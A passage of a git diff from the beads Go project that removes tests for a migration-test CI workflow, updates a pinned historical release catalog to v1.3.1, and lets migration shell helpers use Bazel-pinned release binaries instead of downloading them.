*testing.T) { - shards := migrationHarnessShards(t) - - wantShardNames := []string{"src", "pre-dolt", "dolt-runtime"} - for _, name := range wantShardNames { - if _, ok := shards[name]; !ok { - t.Errorf("migration-test.yml is missing shard %q", name) - } - } - if len(shards) != len(wantShardNames) { - t.Errorf("migration-test.yml has shards %v, want exactly %v", mapKeys(shards), wantShardNames) - } - - seen := map[string]string{} // version -> owning shard - var union []string - for shard, versions := range shards { - for _, v := range versions { - if owner, dup := seen[v]; dup { - t.Errorf("version %s is claimed by both shard %q and shard %q", v, owner, shard) - continue - } - seen[v] = shard - union = append(union, v) - } - } - sort.Strings(union) - want := append([]string(nil), migrationHarnessOriginalVersions...) - sort.Strings(want) - if !equalStrings(union, want) { - t.Fatalf("shard union = %v, want exactly the old 14-version set %v", union, want) - } - - if !equalStrings(sortedCopy(shards["dolt-runtime"]), sortedCopy(migrationHarnessDoltRuntimeVersions)) { - t.Errorf("dolt-runtime shard = %v, want exactly the old Dolt-runtime contains() list %v", shards["dolt-runtime"], migrationHarnessDoltRuntimeVersions) - } - if !equalStrings(shards["src"], []string{"v0.9.1"}) { - t.Errorf("src shard = %v, want exactly [v0.9.1]", shards["src"]) - } -} - -// TestMigrationHarnessLoopExecutesBehaviorally runs the actual "Verify -// explicit historical upgrades" bash against a stub run.sh, proving the -// loop's real behavior instead of its source text (F7c review fix S1/S4/S5, -// closes mutations M1 `exit 0`, M2 `break`, M14 `| head -1`, and pins the -// fail-closed and per-version-timeout fixes the reviewer required): -// - every version in the shard is attempted even after an earlier one -// fails (a short-circuiting `exit 0`/`break` would hide the rest); -// - the step's own exit code reflects any failure; -// - failures are both ::error:: annotated and written to -// $GITHUB_STEP_SUMMARY; -// - an empty or unparsable SHARD_VERSIONS fails closed instead of -// reporting a false pass, without ever invoking run.sh; -// - a hung version is bounded by `timeout`, and the loop still reaches the -// version queued after it. -// -// A bare `./scripts/migration-test/run.sh --version "$HISTORICAL_VERSION"` -// (the pre-fold single-version invocation) must also be gone: if it came -// back, the shard would silently only test one version again. -func TestMigrationHarnessLoopExecutesBehaviorally(t *testing.T) { - requireHostTool(t, "bash") - requireHostTool(t, "jq") - requireHostTool(t, "timeout") - - job := readCIWorkflow(t, "migration-test.yml").job(t, "historical-upgrades") - step := job.step(t, "Verify explicit historical upgrades") - - if strings.Contains(step.Run, "$HISTORICAL_VERSION") { - t.Errorf("migration-test.yml's Verify step still references the old single-version $HISTORICAL_VERSION env var") - } - - writeHarness := func(t *testing.T, runSh string) (dir, summaryFile string) { - t.Helper() - dir = t.TempDir() - scriptDir := filepath.Join(dir, "scripts", "migration-test") - if err := os.MkdirAll(scriptDir, 0o755); err != nil { - t.Fatal(err) - } - if err := os.WriteFile(filepath.Join(scriptDir, "run.sh"), []byte(runSh), 0o755); err != nil { - t.Fatal(err) - } - summaryFile = filepath.Join(dir, "summary.md") - if err := os.WriteFile(summaryFile, nil, 0o644); err != nil { - t.Fatal(err) - } - return dir, summaryFile - } - - baseEnv := func(shardVersions, summaryFile string) []string { - return append(os.Environ(), - "CANDIDATE_BIN=./bd", - "GIT_CONFIG_NOSYSTEM=1", - "DOLT_BIN=/nonexistent/dolt", - "SHARD_VERSIONS="+shardVersions, - "SHARD=test-shard", - "GITHUB_STEP_SUMMARY="+summaryFile, - ) - } - - run := func(t *testing.T, script, shardVersions, runSh string) (exitCode int, out, summary string) { - t.Helper() - dir, summaryFile := writeHarness(t, runSh) - cmd := exec.Command("bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", script) - cmd.Dir = dir - cmd.Env = baseEnv(shardVersions, summaryFile) - outBytes, err := cmd.CombinedOutput() - code := 0 - if err != nil { - exitErr, ok := err.(*exec.ExitError) - if !ok { - t.Fatalf("run loop: %v\noutput:\n%s", err, outBytes) - } - code = exitErr.ExitCode() - } - summaryBytes, readErr := os.ReadFile(summaryFile) - if readErr != nil { - t.Fatal(readErr) - } - return code, string(outBytes), string(summaryBytes) - } - - t.Run("every version runs even after an early failure, and the step fails", func(t *testing.T) { - const stub = `#!/usr/bin/env bash -set -euo pipefail -v="" -while [ $# -gt 0 ]; do - if [ "$1" = "--version" ]; then v="$2"; fi - shift -done -echo "stub-ran:$v" -[ "$v" = "v2" ] && exit 1 -exit 0 -` - code, out, summary := run(t, step.Run, `["v1","v2","v3"]`, stub) - for _, v := range []string{"v1", "v2", "v3"} { - if !strings.Contains(out, "stub-ran:"+v) { - t.Errorf("version %s never ran; output:\n%s", v, out) - } - } - if code != 1 { - t.Errorf("exit code = %d, want 1 (v2 failed)", code) - } - if !strings.Contains(out, "::error::historical upgrade failed for v2") { - t.Errorf("missing ::error:: for v2; output:\n%s", out) - } - if strings.Contains(out, "::error::historical upgrade failed for v1") || strings.Contains(out, "::error::historical upgrade failed for v3") { - t.Errorf("v1/v3 must not be reported as failed; output:\n%s", out) - } - if !strings.Contains(summary, "v2") { - t.Errorf("GITHUB_STEP_SUMMARY does not mention the failed version v2:\n%s", summary) - } - if strings.Contains(summary, "v1") || strings.Contains(summary, "v3") { - t.Errorf("GITHUB_STEP_SUMMARY must only list failed versions:\n%s", summary) - } - }) - - t.Run("all versions pass, step exits 0", func(t *testing.T) { - const stub = "#!/usr/bin/env bash\nexit 0\n" - code, out, summary := run(t, step.Run, `["v1","v2"]`, stub) - if code != 0 { - t.Errorf("exit code = %d, want 0, output:\n%s", code, out) - } - if strings.TrimSpace(summary) != "" { - t.Errorf("GITHUB_STEP_SUMMARY should be untouched on an all-pass run, got:\n%s", summary) - } - }) - - for _, badInput := range []string{`[]`, `null`, `not-json`, `"a string, not an array"`} { - t.Run("fails closed on "+badInput, func(t *testing.T) { - const stub = "#!/usr/bin/env bash\necho ran >&2\nexit 1\n" - code, out, _ := run(t, step.Run, badInput, stub) - if code != 1 { - t.Errorf("SHARD_VERSIONS=%s: exit code = %d, want 1 (fail closed)", badInput, code) - } - if !strings.Contains(out, "::error::shard test-shard resolved to zero versions") { - t.Errorf("SHARD_VERSIONS=%s: missing the fail-closed ::error::; output:\n%s", badInput, out) - } - if strings.Contains(out, "ran") { - t.Errorf("SHARD_VERSIONS=%s: run.sh must never be invoked when the version list fails closed; output:\n%s", badInput, out) - } - }) - } - - t.Run("a hung version is bounded by timeout and does not hide the next version", func(t *testing.T) { - // Exercise the REAL timeout/kill-after wiring, just at durations a - // unit test can afford: substitute the pinned 8m/30s for 2s/1s. If a - // mutation removed the `timeout` wrapper entirely, this substitution - // is a no-op and the stub's 10s sleep would make this subtest's own - // assertions fail well before a developer-visible hang, bounded by - // the 20s context below. - fastStep := strings.NewReplacer("8m", "2s", "30s", "1s").Replace(step.Run) - const stub = `#!/usr/bin/env bash -v="" -while [ $# -gt 0 ]; do - if [ "$1" = "--version" ]; then v="$2"; fi - shift -done -if [ "$v" = "hangs" ]; then - sleep 10 - exit 0 -fi -echo "stub-ran:$v" -exit 0 -` - dir, summaryFile := writeHarness(t, stub) - ctx, cancel := context.WithTimeout(context.Background(), 20*time.Second) - defer cancel() - cmd := exec.CommandContext(ctx, "bash", "--noprofile", "--norc", "-eo", "pipefail", "-c", fastStep) - cmd.Dir = dir - cmd.Env = baseEnv(`["hangs","after"]`, summaryFile) - start := time.Now() - out, err := cmd.CombinedOutput() - elapsed := time.Since(start) - if ctx.Err() == context.DeadlineExceeded { - t.Fatalf("loop did not return within 20s; the timeout wrapper did not bound the hang. output:\n%s", out) - } - if elapsed > 8*time.Second { - t.Errorf("loop took %s to process a version meant to be killed after ~3s; output:\n%s", elapsed, out) - } - if _, ok := err.(*exec.ExitError); !ok && err != nil { - t.Fatalf("run loop: %v\noutput:\n%s", err, out) - } - if !strings.Contains(string(out), "stub-ran:after") { - t.Errorf("the version after the hang never ran; output:\n%s", out) - } - if !strings.Contains(string(out), "::error::historical upgrade failed for hangs") { - t.Errorf("the killed version was not reported as failed; output:\n%s", out) - } - }) -} - -// TestMigrationHarnessDoltRuntimeStepGatedByShard pins that the "Install Dolt -// test runtime" step's gate is exactly `matrix.shard == 'dolt-runtime'`, not -// some other formulation that might accidentally also match (or exclude) a -// different shard (F7c review fix S1, closes mutation M3). -func TestMigrationHarnessDoltRuntimeStepGatedByShard(t *testing.T) { - job := readCIWorkflow(t, "migration-test.yml").job(t, "historical-upgrades") - step := job.step(t, "Install Dolt test runtime") - const want = "matrix.shard == 'dolt-runtime'" - if step.If != want { - t.Errorf("migration-test.yml's Install Dolt test runtime if = %q, want %q", step.If, want) - } -} - -// TestMigrationHarnessCacheHashMatchesDerivation pins that each shard's -// cache-hash is still sha256(join(",", ))[:16], computed from the pre-fold 14-entry identity table that -// existed before the 14 -> 3 shard fold (git show -// 362eecc6bf:.github/workflows/migration-test.yml), so a future shard -// rebalance or version-list edit can't silently leave a stale cache key -// behind (F7c review fix S1, closes mutation M5). -func TestMigrationHarnessCacheHashMatchesDerivation(t *testing.T) { - identities := map[string]string{ - "v0.9.1": "v0.9.1-source-e3c8554fa2c3e4b9caf7e296e9c8abbe24211a72-go1.25.0-cgo1", - "v0.17.0": "v0.17.0-d4d08617a324c85b45c9628bc519d659a9ff9c7c37da67aa48727e0af7f19a75", - "v0.49.6": "v0.49.6-8546dc9a47e11dc31ac2bc9a0224a9c690975e91850932cbb62623053fbb7db8", - "v0.50.3": "v0.50.3-e94b09e0b6a9324bbc0e81ea36bccaaa42172a926bfedfb389e9a26dedb63184", - "v0.55.4": "v0.55.4-e0fa25456dd82890230eef17653448a0bf995104c78864be91c5ed84426a5f49", - "v0.56.1": "v0.56.1-4f9f6cc44465a11613ff529009901eaaf841c6b1f91c15e002b0ecda2015a15c", - "v0.57.0": "v0.57.0-f8629d5627bed7d25f06f92334addc171d679f9aed9d08c5d42a9684205dc04b", - "v0.62.0": "v0.62.0-4cca7265b22e5c3ca8d62ab0b9752bec31f68b7f5fa636282a4c7e5454c35535", - "v0.63.3": "v0.63.3-5f4efd2e010209b3f381dbcd783b2a3a652f50ea72f40ef04c8ba434d408bf9e", - "v1.0.0": "v1.0.0-7057db1e92428fcf5c08d5dc6b07ead57e588b262cba78b9a26893d55bd29fdb", - "v1.0.1": "v1.0.1-1d2364d5d7083a4634a9e734ca87822fb79c2b6625988f9f791e3376313b1b77", - "v1.1.0": "v1.1.0-b0f3dd607c3fb989ee08d0a6854fba80d0402971eb108f9af6170bc14d491a34", - "v1.1.2": "v1.1.2-a72d71ed374955dc9f83a0f90b54bd7b6a0016709dd1676ae2e368651ed401c2", - "v1.2.2": "v1.2.2-8140098a51d3b81d5548d1c5e6db1a2d9930e5d141efe2a4bff7d079c4d321e8", - } - - job := readCIWorkflow(t, "migration-test.yml").job(t, "historical-upgrades") - for _, leg := range job.Strategy.Matrix.Include { - shard, _ := leg.Extra["shard"].(string) - versionsJSON, _ := leg.Extra["versions"].(string) - var versions []string - if err := json.Unmarshal([]byte(versionsJSON), &versions); err != nil { - t.Fatalf("shard %q versions %q: %v", shard, versionsJSON, err) - } - var parts []string - for _, v := range versions { - id, ok := identities[v] - if !ok { - t.Fatalf("shard %q version %q has no known pre-fold cache-identity; update the table in this test", shard, v) - } - parts = append(parts, id) - } - sum := sha256.Sum256([]byte(strings.Join(parts, ","))) - want := hex.EncodeToString(sum[:])[:16] - gotAny, ok := leg.Extra["cache-hash"] - if !ok { - t.Fatalf("shard %q has no cache-hash field", shard) - } - if got := fmt.Sprint(gotAny); got != want { - t.Errorf("shard %q cache-hash = %q, want sha256(join(\",\", identities))[:16] = %q", shard, got, want) - } - } -} - func mapKeys[K comparable, V any](m map[K]V) []K { keys := make([]K, 0, len(m)) for k := range m { @@ -694,7 +329,6 @@ func TestCrossVersionSmokeChunksEveryResolvedVersion(t *testing.T) { // blacksmithAdvisoryWorkflows are every workflow file F7c moved a job onto a // same-repo-PR (or push-only, for main.yml's seed) Blacksmith runner. var blacksmithAdvisoryWorkflows = []string{ - "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", "main.yml", @@ -738,18 +372,13 @@ func containsSecretRef(s string) bool { // advisoryBlacksmithRunnerJobs pins which F7c advisory job runs on which // same-repo Blacksmith expression, and what label each falls back to when -// the same-repo/merge_group condition is false. migration-test.yml's -// historical-upgrades job is the one case with a non-ubuntu-latest fallback -// (sameRepoBlacksmith4vcpuNoble, F7c review fix B1): it must still resolve to -// the literal ubuntu-24.04 label, not the usual ubuntu-latest, for forks/ -// Dependabot/push. +// the same-repo/merge_group condition is false. var advisoryBlacksmithRunnerJobs = []struct { file string job string blacksmithLabel string fallback string }{ - {"migration-test.yml", "historical-upgrades", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-24.04"}, {"cross-version-smoke.yml", "smoke", "blacksmith-4vcpu-ubuntu-2404", "ubuntu-latest"}, {"cross-version-smoke.yml", "versions", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, {"docs-mintlify.yml", "broken-links", "blacksmith-2vcpu-ubuntu-2404", "ubuntu-latest"}, @@ -818,16 +447,15 @@ func TestF7cAdvisorySameRepoBlacksmithExpressionSemantics(t *testing.T) { // self-defined `blacksmith-sg-v1-` setup-go cache main.yml's // blacksmith-setup-go-cache job seeds (B2, F7c implementation report). var blacksmithSetupGoCacheConsumers = map[string][]string{ - "migration-test.yml": {"historical-upgrades"}, "cross-version-smoke.yml": {"smoke"}, } // blacksmithSetupGoCacheKeyNamespace is the self-defined cache key prefix // (not setup-go's own implicit key) that the seeder and every consumer share, // so the "no save in a consumer job" checks below can scope to exactly this -// cache without also flagging an unrelated, legitimately-caching step (e.g. -// migration-test.yml's historical-dolt-* cache, which is a distinct -// restore/save pair of its own - see advisoryBinaryCaches below). +// cache without also flagging an unrelated, legitimately-caching step (a +// binary cache with a distinct restore/save pair of its own - see +// advisoryBinaryCaches below). const blacksmithSetupGoCacheKeyNamespace = "blacksmith-sg-v1-" // TestBlacksmithSetupGoSeedExistsForAdvisoryConsumers pins that main.yml's @@ -1008,11 +636,10 @@ func TestMainWorkflowHasNoSameRepoPRReachableTrigger(t *testing.T) { // main.yml's seeder may ever write it, so a same-repo PR run can read the // cache but never poison what another PR or main's seeder reads back. The // "no save" check is scoped to the blacksmith-sg-v1- key namespace -// specifically (not "no actions/cache/save in this job at all"), since -// migration-test.yml's historical-upgrades job keeps its own historical-dolt-* -// cache in a different namespace - governed by its own restore/save-gated -// pair below (advisoryBinaryCaches / F7c review fix X1), not an exemption -// from this one. +// specifically (not "no actions/cache/save in this job at all"), since a +// binary cache in a different namespace is governed by its own +// restore/save-gated pair below (advisoryBinaryCaches / F7c review fix X1), +// not an exemption from this one. func TestAdvisoryBlacksmithConsumersAreCacheRestoreOnly(t *testing.T) { for file, jobNames := range blacksmithSetupGoCacheConsumers { workflow := readCIWorkflow(t, file) @@ -1157,7 +784,6 @@ var advisoryBinaryCaches = []struct { wantSaveIf string }{ {"cross-version-smoke.yml", "smoke", "Restore previous release binaries cache", "Save previous release binaries cache", "smoke-binaries-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, - {"migration-test.yml", "historical-upgrades", "Restore pinned historical release cache", "Save pinned historical release cache", "historical-dolt-", "github.event_name == 'push' || github.event_name == 'workflow_dispatch'"}, } // TestAdvisoryBinaryCachesAreRestoreAlwaysSavePRGated pins the restore/save diff --git a/scripts/ci_workflow_apt_get_timeout_test.go b/scripts/ci_workflow_apt_get_timeout_test.go index 29ca6019d..c9e06284b 100644 --- a/scripts/ci_workflow_apt_get_timeout_test.go +++ b/scripts/ci_workflow_apt_get_timeout_test.go @@ -48,17 +48,6 @@ func (b aptStepBudget) loopHeader() string { func aptStepBudgets() []aptStepBudget { return []aptStepBudget{ - { - workflow: "migration-test.yml", - job: "historical-upgrades", - step: "Install test dependencies", - updateAttempts: 3, - updateTimeout: 120, - backoff: 10, - installTimeout: 180, - installPkgs: "jq libicu74", - capMinutes: 11, - }, { workflow: "release.yml", job: "goreleaser", diff --git a/scripts/ci_workflow_test.go b/scripts/ci_workflow_test.go index e2956ca4a..b3f0980c6 100644 --- a/scripts/ci_workflow_test.go +++ b/scripts/ci_workflow_test.go @@ -2286,10 +2286,10 @@ type ciWorkflowMatrixInclude struct { // F7b review fix (S1): no typed `shard` field here. pr-preflight- // platforms' Windows shard split (the one thing in this file that ever // used it) was reverted as not measurably helpful, and a typed field - // here is shared by every workflow's `strategy.matrix.include` tuples — - // migration-test.yml's shard: src/pre-dolt/dolt-runtime entries use a - // STRING, not an int, so a mismatched type here would break parsing of - // an unrelated workflow. Untyped matrix keys fall through to Extra. + // here is shared by every workflow's `strategy.matrix.include` tuples, + // whose keys may be any type, so a mismatched type here would break + // parsing of an unrelated workflow. Untyped matrix keys fall through to + // Extra. Extra map[string]any `yaml:",inline"` } @@ -2709,22 +2709,9 @@ const mainWindowsTestBinariesCacheRunsOn = "${{ matrix.runner == 'blacksmith' && // F7c: used to define its own sameRepoBlacksmith4vcpu here (same expression // as sameRepoBlacksmith2vcpu with the 4 vCPU label, for advisory jobs that -// compile Go: migration-test.yml, -// cross-version-smoke.yml). F7a independently -// defined the same const; both are now served by the single shared -// sameRepoBlacksmith4vcpu in ci_blacksmith_runner_test.go. migration-test.yml's -// historical-upgrades job uses sameRepoBlacksmith4vcpuNoble instead (below). - -// F7c review fix (B1): migration-test.yml's historical-upgrades job cannot -// use the plain ubuntu-latest fallback that sameRepoBlacksmith4vcpu uses, -// because the v0.55.4 fixture is dynamically linked against the ICU ABI -// shipped by Ubuntu 24.04's libicu74 package, and GitHub's ubuntu-latest -// label is scheduled to move from 24.04 to 26.04 starting 2026-10-19 (see -// actions/runner-images#14748); 26.04 drops libicu74 entirely. The fallback -// here is pinned to the literal `ubuntu-24.04` label instead so the -// non-Blacksmith path keeps working after that migration regardless of when -// it lands. Do not fold this back into sameRepoBlacksmith4vcpu. -const sameRepoBlacksmith4vcpuNoble = "${{ (github.event_name == 'merge_group' || (github.event_name == 'pull_request' && github.event.pull_request.head.repo.full_name == github.repository && github.actor != 'dependabot[bot]')) && 'blacksmith-4vcpu-ubuntu-2404' || 'ubuntu-24.04' }}" +// compile Go: cross-version-smoke.yml). F7a independently defined the same +// const; both are now served by the single shared sameRepoBlacksmith4vcpu in +// ci_blacksmith_runner_test.go. // F7b: venue-matrix runs-on for main.yml jobs that seed a Blacksmith GOCACHE // alongside their GitHub-hosted seed ("venue: [blacksmith, github]"): @@ -3051,7 +3038,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // is cheap enough to size at 2 vCPU per spec-f7.md §2.2) and moves // to Blacksmith for same-repo PRs/merge_group only; forks, // Dependabot and push stay on ubuntu-latest. - "migration-test.yml": {"historical-upgrades": sameRepoBlacksmith4vcpuNoble}, "cross-version-smoke.yml": {"smoke": sameRepoBlacksmith4vcpu, "versions": sameRepoBlacksmith2vcpu}, "docs-mintlify.yml": {"broken-links": sameRepoBlacksmith2vcpu}, // main.yml's seeder job (B2, F7c implementation report) is the one @@ -3117,7 +3103,6 @@ func TestSameRepoBlacksmithRunners(t *testing.T) { // Blacksmith label beyond the jobs listed in `want` above. for _, file := range []string{ "pr.yml", "pr-risk.yml", "main.yml", - "migration-test.yml", "cross-version-smoke.yml", "docs-mintlify.yml", } { workflow := readCIWorkflow(t, file) diff --git a/scripts/migration-test/catalog/README.md b/scripts/migration-test/catalog/README.md index d5d6f0b94..42f9f0e08 100644 --- a/scripts/migration-test/catalog/README.md +++ b/scripts/migration-test/catalog/README.md @@ -1,7 +1,8 @@ # Historical release catalog -`../release-catalog.json` pins the exact historical release universe used by the -v1.2 upgrade census: 122 stable module versions authenticated through the Go +`../release-catalog.json` pins the exact historical release universe (v0.9.1 +through v1.3.1; the v1.2 upgrade census plus the releases since): 127 stable +module versions authenticated through the Go proxy and SumDB, each with module / `go.mod` / source-zip / proxy-origin provenance, explicit proxy prerelease and repository-only tag exclusions, and the current repository tag drift. @@ -18,13 +19,22 @@ artifact (`usage: catalog generate|validate `): release APIs (network plus `go`/`gh` required). This is a manual maintenance path, not a CI step. +## Adding a release + +Raise `maximumVersion` in `main.go`, run `generate`, and update the count +constants and `expectedCatalogSHA256` the validator then reports. Every +release with a linux/amd64 asset digest automatically becomes a pinned Bazel +repository (`@bd_releases//:`, `tools/bazel/bd_releases.bzl`). + ## Status: self-validated reference anchor Today the catalog is a reviewed-identity anchor. Its only automated enforcement is `TestCheckedCatalogIsCanonicalAndComplete` in `main_test.go`, which runs under `go test ./...` and holds the checked JSON to the pinned digest and its -invariants. Nothing in the migration-test harness (`run.sh`, -`historical-dolt-upgrade-test.sh`, `legacy-bridge-test.sh`) consumes it yet. +invariants. Bazel consumes it: `tools/bazel/bd_releases.bzl` declares one +sha256-verified repository per release asset it records, which the +regression, migration (`tests/migration`) and cross-version targets run +instead of downloading release binaries. The intended consumer is the upgrade-coverage work stacked on top of this change: runtime schema observations and family/path qualification will drive diff --git a/scripts/migration-test/catalog/main.go b/scripts/migration-test/catalog/main.go index d5f6ff34f..d2099320f 100644 --- a/scripts/migration-test/catalog/main.go +++ b/scripts/migration-test/catalog/main.go @@ -23,21 +23,22 @@ import ( const ( modulePath = "github.com/steveyegge/beads" minimumVersion = "v0.9.1" - maximumVersion = "v1.1.2" + maximumVersion = "v1.3.1" proxyURL = "https://proxy.golang.org" githubRepository = "gastownhall/beads" - expectedVersions = 122 + expectedVersions = 127 expectedRepoOnly = 49 expectedRepoPre = 3 - expectedReleases = 92 - expectedLinuxAssets = 89 + expectedProxyPre = 7 + expectedReleases = 95 + expectedLinuxAssets = 92 expectedTagDrift = 13 expectedDriftAssets = 11 // This pins the complete reviewed catalog identity. A generator run may // expose upstream drift, but offline validation rejects even well-formed // substitutions until this digest is deliberately updated. - expectedCatalogSHA256 = "298dd489a6274d80ac42e1fb14c993444159f3193a290f8da37afcb3e2eaf10d" + expectedCatalogSHA256 = "edd01ba3352ec38260a87637d8ec4abb6689df7b2b57f100b18b06842024f858" ) var ( @@ -511,7 +512,7 @@ func validateSourceRelations(versions []Entry, driftSet map[string]bool) error { // validateExclusions checks the proxy-prerelease and repository-only exclusion // lists against the included version set. func validateExclusions(ex Exclusions, seen map[string]bool) error { - if err := validateExcluded("proxy prereleases", ex.ProxyPrereleases, 2, isPrerelease, seen); err != nil { + if err := validateExcluded("proxy prereleases", ex.ProxyPrereleases, expectedProxyPre, isPrerelease, seen); err != nil { return err } if err := validateExcluded("repository-only stable tags", ex.RepositoryOnlyStable, expectedRepoOnly, isStable, seen); err != nil { diff --git a/scripts/migration-test/catalog/main_test.go b/scripts/migration-test/catalog/main_test.go index 2ce30a17b..dce27e852 100644 --- a/scripts/migration-test/catalog/main_test.go +++ b/scripts/migration-test/catalog/main_test.go @@ -13,9 +13,9 @@ import ( func TestCheckedCatalogIsCanonicalAndComplete(t *testing.T) { catalog := readCheckedCatalog(t) - if len(catalog.Versions) != 122 || len(catalog.Exclusions.RepositoryOnlyStable) != 49 || + if len(catalog.Versions) != 127 || len(catalog.Exclusions.RepositoryOnlyStable) != 49 || len(catalog.Exclusions.RepositoryOnlyPrereleases) != 3 { - t.Fatalf("catalog counts = %d/%d/%d, want 122/49/3", + t.Fatalf("catalog counts = %d/%d/%d, want 127/49/3", len(catalog.Versions), len(catalog.Exclusions.RepositoryOnlyStable), len(catalog.Exclusions.RepositoryOnlyPrereleases)) } @@ -64,7 +64,7 @@ func TestCheckedCatalogRejectsWellFormedIdentitySubstitution(t *testing.T) { func TestClassifyVersionsUsesProxyAsStableUniverse(t *testing.T) { stable, excluded, err := classifyVersions( - []string{"v1.1.2", "v1.1.0-rc.2", "v0.56.0", "v1.1.0-rc.1", "v0.9.1", "v1.2.0"}, + []string{"v1.1.2", "v1.1.0-rc.2", "v0.56.0", "v1.1.0-rc.1", "v0.9.1", "v1.4.0"}, []string{"v0.9.1", "v0.57.12", "v0.58.8-nosqlite", "v1.1.0-rc.1", "v1.1.2", "2026.218.0"}, ) if err != nil { diff --git a/scripts/migration-test/lib/binary.sh b/scripts/migration-test/lib/binary.sh index 6e4e46175..73b85563c 100755 --- a/scripts/migration-test/lib/binary.sh +++ b/scripts/migration-test/lib/binary.sh @@ -126,9 +126,28 @@ verify_release_binary_version() ( fi ) +# HISTORICAL_RELEASE_DIR (set by the Bazel targets in tests/migration) holds +# the pinned release binaries as /, each already verified +# against the release catalog's sha256 when Bazel fetched it, so nothing is +# downloaded. A version the directory lacks is an error, never a download. +prepinned_release_binary() { + local version="$1" binary + binary="$HISTORICAL_RELEASE_DIR/$version" + if [ ! -f "$binary" ]; then + echo "ERROR: HISTORICAL_RELEASE_DIR has no pinned $version binary (declare it in the target's releases)" >&2 + return 1 + fi + verify_release_binary_version "$version" "$binary" || return 1 + resolve_existing_path "$binary" +} + download_verified_release_binary() { local version="$1" local asset expected release_dir archive binary + if [ -n "${HISTORICAL_RELEASE_DIR:-}" ]; then + prepinned_release_binary "$version" + return + fi asset=$(strict_release_asset "$version" "$OS" "$ARCH") || { echo "ERROR: no strict release manifest for $version ($OS/$ARCH)" >&2 return 1 @@ -180,6 +199,13 @@ download_verified_release_binary() { # v0.9.1 has no release asset. Its historical CLI reports 0.9.0 (dev), so # qualification is the module checksum and VCS origin, never self-reporting. build_verified_v091_source_binary() ( + # SOURCE_TAG_SQLITE_BIN (set by //tests/migration's v0.9.1 target) is + # this same build, done offline by Bazel from the sha256-pinned module + # files with the same toolchain (//tests/migration:bd_source_tag). + if [ -n "${SOURCE_TAG_SQLITE_BIN:-}" ]; then + resolve_existing_path "$SOURCE_TAG_SQLITE_BIN" + return + fi local scratch module_json source_dir build_dir binary temporary toolchain_root toolchain_go toolchain scratch=$(mktemp -d) || return 1 # Canonicalize immediately: macOS's default TMPDIR (/var/folders/...) is diff --git a/scripts/migration-test/lib/versions.sh b/scripts/migration-test/lib/versions.sh index 7b3176cd7..30af7bcc2 100755 --- a/scripts/migration-test/lib/versions.sh +++ b/scripts/migration-test/lib/versions.sh @@ -49,8 +49,8 @@ declare -ar EMBEDDED_DOLT_VERSIONS=( # ignored-0011. Both regimes are replayed over populated rows by the candidate's # main 0054-0066 + ignored 0012-0025 chain. v1.2.2 is the v1.1.2 tree re-tagged # by the recovery release, so it adds no new regime — it is here because it is -# the tag people in the field actually upgrade from. Also gates the external -# Dolt oracle download in migration-test.yml. +# the tag people in the field actually upgrade from. Also selects the +# external Dolt oracle (DOLT_BIN) in tests/migration's targets. declare -ar WISP_PLANE_VERSIONS=( "v1.0.1" "v1.1.0" diff --git a/scripts/migration-test/release-catalog.json b/scripts/migration-test/release-catalog.json index 007f35a0d..6c7c3f0c0 100644 --- a/scripts/migration-test/release-catalog.json +++ b/scripts/migration-test/release-catalog.json @@ -2400,6 +2400,98 @@ "digest": "sha256:a72d71ed374955dc9f83a0f90b54bd7b6a0016709dd1676ae2e368651ed401c2" } } + }, + { + "version": "v1.2.0", + "sum": "h1:ybRxPVim24oaMdC19xobwBaoFMkgt7HrYZVOGR0Sts4=", + "go_mod_sum": "h1:iMHTYp47/cVnXX+SXweYlG9M9dZhOopTFCBLpyOT69E=", + "origin": { + "hash": "fa3d8cc5ceda129b76f8284231f34a3b6fe30b86", + "ref": "refs/tags/v1.2.0" + }, + "source_zip": { + "sha256": "ad670f9c652f7d54b381fcc79e0e76a9506750c44465fb019260a2f8de259d17", + "size": 11232684 + } + }, + { + "version": "v1.2.1", + "sum": "h1:23vau/bJYyjRUo3CzvZyfm63yxeV1SHalaPRpVFNIpY=", + "go_mod_sum": "h1:iMHTYp47/cVnXX+SXweYlG9M9dZhOopTFCBLpyOT69E=", + "origin": { + "hash": "634cbbc4bc580fa5124f63fdf65d137a46d5b4ff", + "ref": "refs/tags/v1.2.1" + }, + "source_zip": { + "sha256": "c10110f0e61087f8643d78a8ef6644375524a2ef3cead384809b394fad08d2ba", + "size": 11235296 + } + }, + { + "version": "v1.2.2", + "sum": "h1:2K5ki3k1GGGKuYdFIuJtqHHziGQcepN+H2f/EYfE0X4=", + "go_mod_sum": "h1:oavjy+j75Szj3AIHLe0rv6fMyMZ8O+vGpPFh0nq+T08=", + "origin": { + "hash": "6c124203e771433a3550c348771a5b5e27fd3c21", + "ref": "refs/tags/v1.2.2" + }, + "source_zip": { + "sha256": "4e26133ada66d4df2b5a225eed07e2a67d39f95d1e0f7af24a55a921552d2856", + "size": 7610482 + }, + "github_release": { + "html_url": "https://github.com/gastownhall/beads/releases/tag/v1.2.2", + "source_relation": "matches_proxy_origin", + "linux_amd64_asset": { + "size": 49107375, + "name": "beads_1.2.2_linux_amd64.tar.gz", + "digest": "sha256:8140098a51d3b81d5548d1c5e6db1a2d9930e5d141efe2a4bff7d079c4d321e8" + } + } + }, + { + "version": "v1.3.0", + "sum": "h1:QPvdw+hRA6EDx31eTzBe2pl/B5Z7yXczq7bC8KHPY0Q=", + "go_mod_sum": "h1:bw++9IlggPhjAeyNOv6cmfOlfyV+ERA5BiRgsqDvyTc=", + "origin": { + "hash": "f45b249ce6b40ba62aecc03949e6371e8f7c79d8", + "ref": "refs/tags/v1.3.0" + }, + "source_zip": { + "sha256": "09dc04bcca035e194d9c0bce3ff4e2caffbed30795d12bc757bc06cdb66757d6", + "size": 12150899 + }, + "github_release": { + "html_url": "https://github.com/gastownhall/beads/releases/tag/v1.3.0", + "source_relation": "matches_proxy_origin", + "linux_amd64_asset": { + "size": 53179375, + "name": "beads_1.3.0_linux_amd64.tar.gz", + "digest": "sha256:2f92b904ecf35b607e44dc5c39229173af69c54f1183e8d709f1773540cdcf3b" + } + } + }, + { + "version": "v1.3.1", + "sum": "h1:Ec9DhMDHo/prSd8PDYts+4VF5TY9hI0PrZ46bYnxj1Y=", + "go_mod_sum": "h1:z7FHqG/z403/Sjr6j36QaeWdFWFpEDwQVhWZt9C3Mug=", + "origin": { + "hash": 